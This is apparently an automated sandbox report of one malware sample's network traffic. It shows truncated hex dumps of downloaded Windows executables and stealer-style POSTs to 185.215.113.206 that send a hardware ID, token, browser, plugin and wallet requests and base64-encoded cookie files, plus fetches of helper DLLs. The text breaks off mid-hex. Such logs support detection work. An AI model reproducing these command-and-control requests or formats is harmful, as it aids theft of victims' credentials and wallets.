Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 07 Dec 2024 17:27:51 GMTContent-Type: application/octet-streamContent-Length: 1853440Last-Modified: Sat, 07 Dec 2024 17:21:17 GMTConnection: keep-aliveETag: "6754840d-1c4800"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 62 af 50 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 c6 03 00 00 ac 00 00 00 00 00 00 00 60 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 49 00 00 04 00 00 b4 8b 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 30 05 00 70 00 00 00 00 20 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 05 00 00 10 00 00 00 32 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 20 05 00 00 04 00 00 00 42 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 05 00 00 02 00 00 00 46 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 30 2a 00 00 40 05 00 00 02 00 00 00 48 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 6a 7a 6a 68 6c 79 6b 00 e0 19 00 00 70 2f 00 00 d8 19 00 00 4a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 67 6c 70 69 6c 68 75 00 10 00 00 00 50 49 00 00 04 00 00 00 22 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 49 00 00 22 00 00 00 26 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 07 Dec 2024 17:28:00 GMTContent-Type: application/octet-streamContent-Length: 1786880Last-Modified: Sat, 07 Dec 2024 17:21:24 GMTConnection: keep-aliveETag: "67548414-1b4400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 90 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 68 00 00 04 00 00 be d5 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 2a 00 00 c0 24 00 00 02 00 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 64 74 67 6f 66 63 6a 00 a0 19 00 00 e0 4e 00 00 a0 19 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 67 7a 61 74 6d 6f 70 00 10 00 00 00 80 68 00 00 04 00 00 00 1e 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 68 00 00 22 00 00 00 22 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 07 Dec 2024 17:28:09 GMTContent-Type: application/octet-streamContent-Length: 970752Last-Modified: Sat, 07 Dec 2024 17:19:32 GMTConnection: keep-aliveETag: "675483a4-ed000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 9c 83 54 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 20 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 0f 00 00 04 00 00 a7 b5 0f 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 38 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 0e 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 38 64 01 00 00 40 0d 00 00 66 01 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 b0 0e 00 00 76 00 00 00 5a 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: text/html; text/plain; /Host: api.ipify.orgCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKJEHJKJEBGHJJKEBGIEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 46 34 41 34 43 46 37 31 45 34 43 32 38 31 37 30 31 38 37 30 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 2d 2d 0d 0a Data Ascii: ------JKJEHJKJEBGHJJKEBGIEContent-Disposition: form-data; name="hwid"6F4A4CF71E4C2817018708------JKJEHJKJEBGHJJKEBGIEContent-Disposition: form-data; name="build"stok------JKJEHJKJEBGHJJKEBGIE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDHCFCBGIDGHJJKJJDGHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 34 39 63 63 32 39 31 36 32 39 31 36 39 37 61 63 38 61 32 62 62 30 32 66 37 66 32 35 35 32 36 64 65 32 35 34 37 39 63 39 31 36 61 30 62 34 65 63 66 37 30 32 63 65 63 30 37 30 32 62 62 64 33 34 37 63 63 65 63 38 65 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 2d 2d 0d 0a Data Ascii: ------HJDHCFCBGIDGHJJKJJDGContent-Disposition: form-data; name="token"649cc2916291697ac8a2bb02f7f25526de25479c916a0b4ecf702cec0702bbd347ccec8e------HJDHCFCBGIDGHJJKJJDGContent-Disposition: form-data; name="message"browsers------HJDHCFCBGIDGHJJKJJDG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFCBKFHJJJKKFHIDAAKFHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 34 39 63 63 32 39 31 36 32 39 31 36 39 37 61 63 38 61 32 62 62 30 32 66 37 66 32 35 35 32 36 64 65 32 35 34 37 39 63 39 31 36 61 30 62 34 65 63 66 37 30 32 63 65 63 30 37 30 32 62 62 64 33 34 37 63 63 65 63 38 65 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 2d 2d 0d 0a Data Ascii: ------AFCBKFHJJJKKFHIDAAKFContent-Disposition: form-data; name="token"649cc2916291697ac8a2bb02f7f25526de25479c916a0b4ecf702cec0702bbd347ccec8e------AFCBKFHJJJKKFHIDAAKFContent-Disposition: form-data; name="message"plugins------AFCBKFHJJJKKFHIDAAKF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEGHJEGIEBFIJJKFIIIJHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 47 48 4a 45 47 49 45 42 46 49 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 34 39 63 63 32 39 31 36 32 39 31 36 39 37 61 63 38 61 32 62 62 30 32 66 37 66 32 35 35 32 36 64 65 32 35 34 37 39 63 39 31 36 61 30 62 34 65 63 66 37 30 32 63 65 63 30 37 30 32 62 62 64 33 34 37 63 63 65 63 38 65 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 4a 45 47 49 45 42 46 49 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 4a 45 47 49 45 42 46 49 4a 4a 4b 46 49 49 49 4a 2d 2d 0d 0a Data Ascii: ------AEGHJEGIEBFIJJKFIIIJContent-Disposition: form-data; name="token"649cc2916291697ac8a2bb02f7f25526de25479c916a0b4ecf702cec0702bbd347ccec8e------AEGHJEGIEBFIJJKFIIIJContent-Disposition: form-data; name="message"fplugins------AEGHJEGIEBFIJJKFIIIJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKKKFCFHCFIECBGDHIDHost: 185.215.113.206Content-Length: 5839Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEBAFBGIDHCBFHIECFCBHost: 185.215.113.206Content-Length: 419Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 34 39 63 63 32 39 31 36 32 39 31 36 39 37 61 63 38 61 32 62 62 30 32 66 37 66 32 35 35 32 36 64 65 32 35 34 37 39 63 39 31 36 61 30 62 34 65 63 66 37 30 32 63 65 63 30 37 30 32 62 62 64 33 34 37 63 63 65 63 38 65 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 2d 2d 0d 0a Data Ascii: ------AEBAFBGIDHCBFHIECFCBContent-Disposition: form-data; name="token"649cc2916291697ac8a2bb02f7f25526de25479c916a0b4ecf702cec0702bbd347ccec8e------AEBAFBGIDHCBFHIECFCBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------AEBAFBGIDHCBFHIECFCBContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------AEBAFBGIDHCBFHIECFCB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAAEBKEGHJKEBFHJDBFCHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 34 39 63 63 32 39 31 36 32 39 31 36 39 37 61 63 38 61 32 62 62 30 32 66 37 66 32 35 35 32 36 64 65 32 35 34 37 39 63 39 31 36 61 30 62 34 65 63 66 37 30 32 63 65 63 30 37 30 32 62 62 64 33 34 37 63 63 65 63 38 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 2d 2d 0d 0a Data Ascii: ------CAAEBKEGHJKEBFHJDBFCContent-Disposition: form-data; name="token"649cc2916291697ac8a2bb02f7f25526de25479c916a0b4ecf702cec0702bbd347ccec8e------CAAEBKEGHJKEBFHJDBFCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CAAEBKEGHJKEBFHJDBFCContent-Disposition: form-data; name="file"------CAAEBKEGHJKEBFHJDBFC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJEHCGDBFCBAKECBKKEBHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 48 43 47 44 42 46 43 42 41 4b 45 43 42 4b 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 34 39 63 63 32 39 31 36 32 39 31 36 39 37 61 63 38 61 32 62 62 30 32 66 37 66 32 35 35 32 36 64 65 32 35 34 37 39 63 39 31 36 61 30 62 34 65 63 66 37 30 32 63 65 63 30 37 30 32 62 62 64 33 34 37 63 63 65 63 38 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 48 43 47 44 42 46 43 42 41 4b 45 43 42 4b 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 48 43 47 44 42 46 43 42 41 4b 45 43 42 4b 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 48 43 47 44 42 46 43 42 41 4b 45 43 42 4b 4b 45 42 2d 2d 0d 0a Data Ascii: ------KJEHCGDBFCBAKECBKKEBContent-Disposition: form-data; name="token"649cc2916291697ac8a2bb02f7f25526de25479c916a0b4ecf702cec0702bbd347ccec8e------KJEHCGDBFCBAKECBKKEBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KJEHCGDBFCBAKECBKKEBContent-Disposition: form-data; name="file"------KJEHCGDBFCBAKECBKKEB--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IECBGIDAEHCGDGCBKEBGHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGIDBKKKKKFBGDGDHIDBHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 34 39 63 63 32 39 31 36 32 39 31 36 39 37 61 63 38 61 32 62 62 30 32 66 37 66 32 35 35 32 36 64 65 32 35 34 37 39 63 39 31 36 61 30 62 34 65 63 66 37 30 32 63 65 63 30 37 30 32 62 62 64 33 34 37 63 63 65 63 38 65 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 